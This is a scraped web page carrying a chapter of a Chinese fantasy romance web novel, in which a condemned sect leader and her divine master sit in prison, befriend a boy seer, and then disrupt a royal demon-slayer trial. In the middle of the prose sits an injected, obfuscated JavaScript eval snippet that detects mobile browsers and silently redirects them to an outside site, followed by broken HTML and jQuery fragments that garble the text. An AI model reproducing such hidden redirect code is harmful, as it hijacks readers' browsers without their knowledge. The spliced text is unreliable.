默认冷灰
24号文字
方正启体

7. 晋江文学城 07[奇石]

作者:南枝禾禾本书字数:K更新时间:
    许是用“灾星”的理由处死一个人实在草率。


    又或是若柒柒四处奔走产生了一丝效果。她父皇景帝勉强算个明君,却没有帝王的斤斤计较。


    哪怕若柒柒曾经有过请封皇太女的举动,他也并不放在心上。


    宝贝女儿流落在外,终于回宫,景帝笑得嘴都合不拢。


    再或许是闻项起了戏弄李良辰的心思,故意教他抓心挠肺后悔几日。


    姜盈初的死刑被推后了几天——但也仅仅只是推迟,人头落地依旧迫在眉睫,形势严峻。


    天牢外面人声嘈杂,金汤阁的修士这几日马不停蹄地练功夫,临时抱佛脚,为死刑那一日做准备。


    钦天监也闲不住,观天象,看风水,算日子:什么时候行刑最稳妥呢?


    人心察觉到自己的渴望超出自己的能力时,就会爱上神佛,爱上自然,爱上幻想。


    天牢外紧锣密鼓,守宫门的侍卫闲聊时都离不开“仙门宗主的死期”这个话题。


    而处在天牢里的姜盈初却毫无反应,整日整夜都一脸木然。


    言遮看她黯然伤神的样子,心里没由来地生出几分气。


    跌跌撞撞,摸爬滚打,带着一行朋友落户沐阳山,被仙门恭为宗主。


    眼看着朝阳灿烂冉冉升起照亮未来的通天大道,朝阳却又在一夜间坠进了深谷,路也被雪堵塞。


    言遮能理解小徒弟的伤心。


    但这并不妨碍他暗搓搓地生闷气。


    烛火幽微,惨淡的青光和两个人都被困在牢里。


    言遮伸手把姜盈初的一缕碎发别至耳后,轻声问:“难受么?”


    回答他的是沉默。


    “这儿没有别人。”言遮席地而坐,嗓音轻低,“你要是想哭,我假装看不见,好不好?”


    常言道,哭出来就好了。


    帝君早忘了自己上一次经受这种大挫折是什么感觉,只能借着常言安慰小徒弟。


    姜盈初没说话,微微抬头看了下师父,递给师父一个安慰的眼神。


    她想告诉言遮:我没事儿。


    可浑身的颓丧显然出卖了主人。


    于是这个莫名其妙的眼神,经过言遮的脑补,就变了味儿。


    在他看来,姜盈初分明在说:什么没有别人?你不就是别人吗?


    心里那股不被依赖的烦闷愈发深重,言遮小孩儿置气一样起身,扑扇着衣袖表达自己的不满。


    不哭,也不肯把难受讲出来,那憋死你算了。


    言遮心里腹诽道,我要是再关心你一下,那我真是连旺财都不如。


    片刻后,押司送来了晚膳。


    姜盈初缩在角落里,一动不动。


    狗都不如的帝君又端了一碗粥,黑着脸,一勺一勺地去给小徒弟喂。


    押司送来的烧饼映入姜盈初的眼帘,她心里一动,终于开口道:“你把这个给隔壁的三……三火?”


    姜盈初脑子乱成一团,想不起那小孩儿的名字。


    总之把烧饼给他就是,反正她也没胃口,刚好小孩儿长身体。


    隔壁狼吞虎咽喝粥的呼噜声一停。


    姜盈初能想到这个三什么的小孩儿忽然竖起耳朵,眼睛亮亮的场面。


    言遮侧在身旁的手攥成拳,青筋泛起。


    姜盈初在察觉师父情绪这一点上实在麻木,见言遮不肯动,只当他是不愿被人使唤。


    “那你让让。”姜盈初起身,拨开一只挡道狗一样拨开了言遮,自己把烧饼递到隔壁。


    一只胖手立马接了烧饼,瓮声瓮气道:“谢谢。我叫三水。”


    三水在提醒她刚刚喊错了自己的名字。


    “嗯。”脑子转不过来的姜盈初下意识地也介绍自己,“我叫姜盈初。”


    言遮懒懒阖眼,听到两人你来我往的友好介绍,额角微抽。


    他又在心里发誓:让这些三水三火三木头关心你去罢,本君不会再给你一点好脸色。


    正这么想着,忽然一个东西被递到他嘴边。


    “你别忘了吃,吃完记得把药丸子也吃了。”姜盈初说。


    言遮眼睛一弯,像旺财叼骨头一样从姜盈初手里叼走烧饼。


    从前天界有人说他喜怒无常,阴晴不定,他从来不觉得。


    此刻言遮乍然想起了这句话,细细一品,觉得这个结论未必没有道理。


    天界的人要是知道言遮此刻的心理活动,定要两眼一黑晕死过去。


    我们说的是那个不喜形于色的帝君,是那个杀伐果断的帝君,是那个一身正气的帝君。


    可不是现在这个被他人拿捏的傻子哇!


    *


    行刑前两日,姜盈初仍然活得面无表情,沐阳山灭门的震惊难消,余韵阵阵。


    她闭上眼,就能看看见谷雨灿烂的笑颜。


    谷雨喜欢笑,但这丫头的笑往往藏着锐利的刀子,喜欢在温柔乡里宰人。


    教导弟子,她笑,笑着笑着就把人训了。


    替宗主办事,她也笑,笑着笑着就把人杀了。


    只有在面对宗主的时候,谷雨的笑才纯粹得没有任何东西。


    这种唯一特殊的笑带给姜盈初的记忆实在深刻,以至于她都不敢阖眼。


    而深夜,她强忍睡意盯着烛火的时候,隔壁突然传来细微的声音。


    “你为什么被抓到这里?”三水弱弱地问。


    每次都送过来的烧饼轻而易举攻破了三水的戒备,让他忍不住好奇,开口询问。


    他记得那天押司说他们被关到这里的原因一样。


    一个一声不吭的冷傲小孩儿突然开了口,这让姜盈初有点儿受宠若惊。


    她默然一瞬,无奈地勾唇,带着几分自嘲道:“我是灾星啊。”


    “哦。”和姜盈初预想的不同,三水没有疑惑,反而闷闷地应了一声。


    这又勾起了姜盈初的好奇。


    她问:“你呢?”


    “我和你一样。”三水蹲在地上,双手抱着腿蜷缩成团,说:“我说宫里有娘娘要死,他们不信。那位娘娘真的死了,他们就把我抓了起来。”


    姜盈初茫然了一瞬,很是不可思议。


    宫里有娘娘要死——这不就是丽妃的事吗?


    怪不得那押司要说他俩被关在这里的原因一样。


    只是——


    “你怎么知道?”姜盈初问。


    “我就是知道。”三水坚定地说。


    他以为姜盈初不信自己,想了想,又说,“其实你的门派被灭的前一天,我也知道,你身上要有灾祸发生。”


    这两天姜盈初他们和若柒柒说话并没有提防三水。


    所以三水也听到了那些发生在姜盈初身上的事,也知道了隔壁这个人就是大名鼎鼎的仙门宗主。


    也正因如此,又加上烧饼送来的善意,三水才肯对姜盈初开口。


    他想:既然这个人是仙门宗主,那她会术法,就不会对自己的特殊能力冷嘲热讽了。


    角落里,言遮咳了两声。


    他并没有睡着,听见姜盈初和隔壁小屁孩的谈话,故意咳嗽两声,想暗示小徒弟:别忘了让师父也加入这么重要的谈话。


    可惜姜盈初的思路和他实在南辕北辙。


    姜盈初见他闭着眼咳嗽,以为自己和三水的谈话吵到了他。


    “嘘——”她对三水说,“明天我们再说。”


    言遮:……


    哦,这是他俩的秘密,生怕被自己听到呢。


    不依赖自己,不亲近自己,还提防自己。


    言遮气得翻了个身,恶声恶气地哼了一声。


    惹得姜盈初侧目,心底“豁”了一声:瞧,被吵到的不爽还挺大,在睡梦里都要哼哼唧唧地表达不满。


    *


    行刑前一日,姜盈初被单独带了出去,带去审讯堂。


    刚好旺财的灵相在这个时候飞过来找言遮。


    作为一只灵兽,旺财能够随意地灵相出窍——除了时间限制之外。它现在修为算高,灵相每隔十天左右就能自由活动一次。


    “小姜姜呢?”旺财东张西望,用心声问。


    “被抓走了。”言遮摸出自己的长歌匕,又仔细地擦了起来。


    旺财“哦”了一声,从匕首的寒光上照见了自己这两天吃胖一圈的猫脸。


    它懒洋洋地趴了下来,絮絮叨叨:“这次是真要动手了吧?现在动手时机最好。其实你前两日,一被关进来,就应该动手。完事儿我俩立马回九重天,我也不至于又添几两肉了。”


    言遮万分嫌弃地扫了眼自己的胖麒麟,冷笑道:“离我远点。”


    “啊?”


    “别把油溅到我身上。”言遮垂眸,继续擦匕首。


    旺财品了过来:这是再骂自己胖得流油!


    麒麟的自尊心受到了严重的迫害!


    它炸毛道:“喂,你有没有点心呐?还不是因为你迟迟不动手,我才胖了又胖的。好在你有动手的觉悟了。对了,动手的时候提前告诉我,我不忍心看这种场面的。我的小姜姜呐——”


    言遮挑眉,问:“谁说我要动手了?”


    旺财一愣:“那你擦它干嘛?”


    言遮突然嗤笑一声,满目寒凉。


    他神情专注地盯着匕首:“我才是解决她的那个人,其他白痴就别想了。”


    旺财小小的脑袋转了很久,反应过来后要晕厥。


    “是你傻了还是我傻了?”它大声吼着问,“这些凡人主动杀了她,不也是解决了灭世魔头这个祸患嘛?谁解决不是解决?你不动手就算了,怎么还不叫其他人动手呢?”


    旺财心声吼得声音实在太大。


    以至于让言遮一时没有听见,姜盈初回来的脚步声。


    “师父,你在擦什么?”姜盈初问。


    手中的匕首立马成了烫手山芋。


    言遮身形微不可察地一抖,瞬间思绪万千。


    第一个瞬间,他下意识想收了手中匕首,假装若无其事。


    第二个瞬间,他悬崖勒马,想起小徒弟不容小觑的实力:她都问他在擦什么了,定然瞧出了端倪。


    第三个瞬间,匕首化作玉笛,静静躺在言遮掌心。


    姜盈初身心俱疲地进来,瞥见玉笛,问:“这也是你花七七四十九个时辰打磨出来的?”


    言遮松了口气。


    他摇头,张嘴就诓人:“九九八十一个时辰。”


    姜盈初:……


    “审讯堂怎么说?”言遮转移话题道。


    姜盈初毫无感情,一字不落地复述:“灾星姜盈初,祸乱仙界,殃及后宫,明日午时行刑。”


    隔壁三水正在竖起耳朵听墙角,听到这话,愕然抬眼。


    怎么有人能如此事不关己地宣布自己的死刑?这得有多不怕死?这便是传闻中的视死如归吗?


    “嗯。”言遮也淡淡道。


    三水:……


    两个怪人。


    “你进牢里拿笛子干什么?”姜盈初问。


    言遮:“陶冶情操。”


    “那你吹一曲我听听?”


    言遮欣然点头,掐着玉笛抬手,轻置唇边。


    然后……然后……


    姜盈初闭眼等了半天,却不闻一丝声响。


    “怎么?”她睁眼问道。


    晦暗中,言遮沉默了一瞬。


    “吹不响。”他罕见窘迫,含糊而过,“刚刚说什么?明天行刑?你打算怎么办?”


    “噗——”姜盈初乐得笑出声。


    她一边笑,一边伸手去从言遮手里拿笛子:“你不会吹,你还拿它陶冶哪门子——”


    话头戛然而止。


    姜盈初满脸错愕,云里雾里。


    罪魁祸首无疑还是言遮。


    小徒弟来索要笛子,言遮侧了个身,手腕一转,灵活地躲了过去。


    见姜盈初盯着他,他犹豫片刻,石破天惊道:“乖,这是为师的笛子。”


    潜台词便是:这是我的笛子,你就不要用嘴吹了。


    琢磨出自己话里嫌弃人的意思,言遮看向姜盈初的目光十分小心。


    不料姜盈初了然,毫不介意地点头。


    她和这个师父非亲非故,要笛子之前的确没有考虑周全:这是他的笛子,就算他吹不响,那也轮不到自己来上嘴吹。


    “唉,三水?”姜盈初侧身去和三水继续昨晚的话题。


    言遮见状,没滋没味地看了眼手中笛子,兴致缺缺。


    她怎么就不生气呢?


    好吧,他其实明白。她不生气,因为他不在她心上。


    幽暗的角落里,旺财的灵相挪到了言遮身边。


    “你用这么嫌弃人的理由,可有点伤人心啊。”它替姜盈初吐槽道。


    言遮冷笑一声。


    心道:睁大你的畜生眼看一看,她可有半点伤心的样子?


    长歌匕化作万相,都掩盖不了它是个武器的事实——而且是帝君的武器。


    哪怕化作笛子,吹出来也是杀伤力一片的存在。


    言遮不能吹响,也不能纵着小徒弟吹。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16089214|179643||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>不过很快就能吹响了,言遮指腹摩挲着笛身,看着姜盈初和三水你一言我一语。


    *


    立春这一天,京都却被阴云笼罩着,众人面色严肃,气氛沉闷。


    这是钦天监看中的好日子。


    姜盈初被押司带到了金汤阁的行刑台,石台周围一圈严阵以待的修士。


    再底下便是人头攒动,七嘴八舌。


    她环顾四周,却没看见传闻中那个常年带着面具的阁主。


    金汤阁在京都初有名气时,名气便来源于这位阁主的神秘。


    无人知晓他的样貌,因为他面具不离脸。


    也无人知晓他的声音,因为他每次出现在人前,声音总是千变万化。


    登上行刑台时,姜盈初问旁边的押司:“你们阁主呢?”


    押司两眼一黑,没想到仙门宗主死到临头,还能有空去关心别人。


    “阁主在武场。”他回答说。


    姜盈初“哦”了一声。


    钦天监掐掐算算,把行刑的日子定到了今天。


    景帝连忙照猫画虎,也看中了这个好日子,要在今天选初那位除魔之才。


    金汤阁主想来是去那边坐镇了。


    石台一侧,言遮和三水被押在后面。


    待到姜盈初,行刑结束,他们也难逃一死。


    “列阵!”见姜盈初走到石台中央,一众修士齐声高呼。


    一圈火焰绕着石台窜起,修士一手执剑,一手掐诀。数条火舌从四面涌出,径直扑向一动不动的姜盈初。


    *


    金汤阁武场,不知是谁也使出了最低级的火阵,数个纠缠的身影在火光中若隐若现。


    沙尘纷飞,刀光剑影。


    “临野扼住了王沐岚的脖子,王沐岚看起来必败无疑。等等——王沐岚的剑突然从后方飞来了!”徐公公聚精会神,把场上战况转述给景帝。


    景帝因为不敢看这么激烈的场面,正紧紧闭着眼。


    待到耳畔风的呼啸声渐渐止息,景帝这才缓缓睁眼。


    高台下,一个清瘦的少年负手而立,身影挺拔。


    在他脚边,全然都是惨败的对手,败得落花流水,惨不忍睹。


    “哈哈哈!”没等景帝说话,一道尖锐的笑声先响起。


    金汤阁主闷着一个青面獠牙的面具,拍手赞道:“不愧是临野,不愧我的大弟子!”


    说这句话的时候,他的声音又变得沉闷,和刚刚放肆的笑声截然不同。


    景帝揉了揉自己的眼睛:“他手中没有法器?”


    “不错。”金汤阁主用一种小孩儿的声音说。


    “咦?”景帝张大了嘴,“那他是怎么赢的?”


    若是赤手空拳就撩到一片人的话,这实力未免恐怖!


    “皇上刚刚已经见过了。”金汤阁主指了指比试台下的石桩,那上边放着一颗泛着奇异光泽的石头。


    这也是金汤阁和其他那些坑蒙拐骗门派的区别。


    此乃认真修行的门派,还有个能测出凡人修为的石头。


    “临野前些日子修为刚到真人初期。”金汤阁主解释说,“此时便人器合一,随心所欲。”


    话落,他递给台下的临野一个眼神。


    临野随意抬手,无数银丝便从他周身蔓延开。


    他又打了个响指,铺天盖地的银丝又乖乖收了回去,人也变成了刚刚那个乖巧的少年郎。


    景帝愣怔片刻,朗声大笑:“甚好!甚好!既如此,那这除魔的重任——”


    黑压压的一片云飘过来,打断景帝。


    众人眯眼,定睛一看才发现:这哪里是什么云?是有人御剑而来。


    姜盈初不慌不忙,带着言遮和三水稳稳落地。


    金汤阁的修士里也有会御剑之人,跌跌撞撞追着姜盈初。


    提心吊胆半天的若柒柒见状,长舒一口气,眉眼染笑。


    可惜除了她之外,在场没人能笑出声。


    “这是?”若柒柒身旁,一个锦衣华服的男人问。


    他看着台下,神色有些古怪。


    若柒柒勾唇笑道:“白掌门,这位便是与你齐名的仙门宗主,姜盈初啊。”


    白虎派掌门闻言,整个人坐得更僵了。


    要知道,一两个月前,他给景帝献了不少珍稀玩意儿。就是为了把京都以南的门派从姜盈初手里夺过来。


    “我就说那些修士奈何不了她!”若柒柒兴高采烈道,“对不对?”


    白虎派掌门干巴巴地“哈”了一声。


    姜盈初这会儿和一个死囚犯一样。


    本该被处死的囚犯突然活灵活现在武场,实在是嚣张。


    景帝胆小如鼠,对着姜盈初,不敢吭声。


    金汤阁主收到了景帝求助的眼神,捏着嗓子开口:“姜盈初,你这是何意?听闻昨日在审讯堂里,你分明没有半点异议。”


    姜盈初颔首:“处死我这个灾星,我自然没有异议。”


    “那你跑到这里做甚?”


    姜盈初偏头不答,单膝朝景帝跪了下来,手中剑却没有丢。


    她作揖抬眼,认真道:“听闻皇上要选一个除魔之人,臣女也愿一试。”


    一石激起千层浪,满场哗然。


    言遮摸着自己藏在袖中的笛子,无奈地闭了闭眼。


    他原以为,在这里会是一场腥风血雨。于是擦亮了长歌匕,准备暗戳戳地帮她教训这些随风飘的墙头草。


    不料小徒弟解决问题的方式实在太跳脱。


    所有在武场的人此刻都有点儿懵。


    趁众人还没反应过来,姜盈初起身,径直走向安安静静站在旁边的临野。


    “是直接比试么?”她问。


    临野满脸肃然,开口也十分平静:“不是。”


    他指了指台下那颗金汤阁的奇石。


    “要有一定的修为。”临野仔细地解释,“凡是没有飞升的人,修为即可被这块儿石头验出,此石共有七色。”


    “赤橙黄绿青蓝紫。修为在绿以上者,方有机会参加比试。”


    姜盈初点头,“多谢。”


    在场人人依旧都僵着不动,眼睁睁看着姜盈初缓步走向那颗石头。


    此时,并非人人都还没反应过来事态。


    有人不敢动。


    也有人不想动,更想看看姜盈初的手摸上石头时,石头会发出什么颜色的光。


    仙门宗主,修为到底处在哪一水平呢?大家都很好奇。


    众目睽睽,姜盈初抬手,利落地搭上石头。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)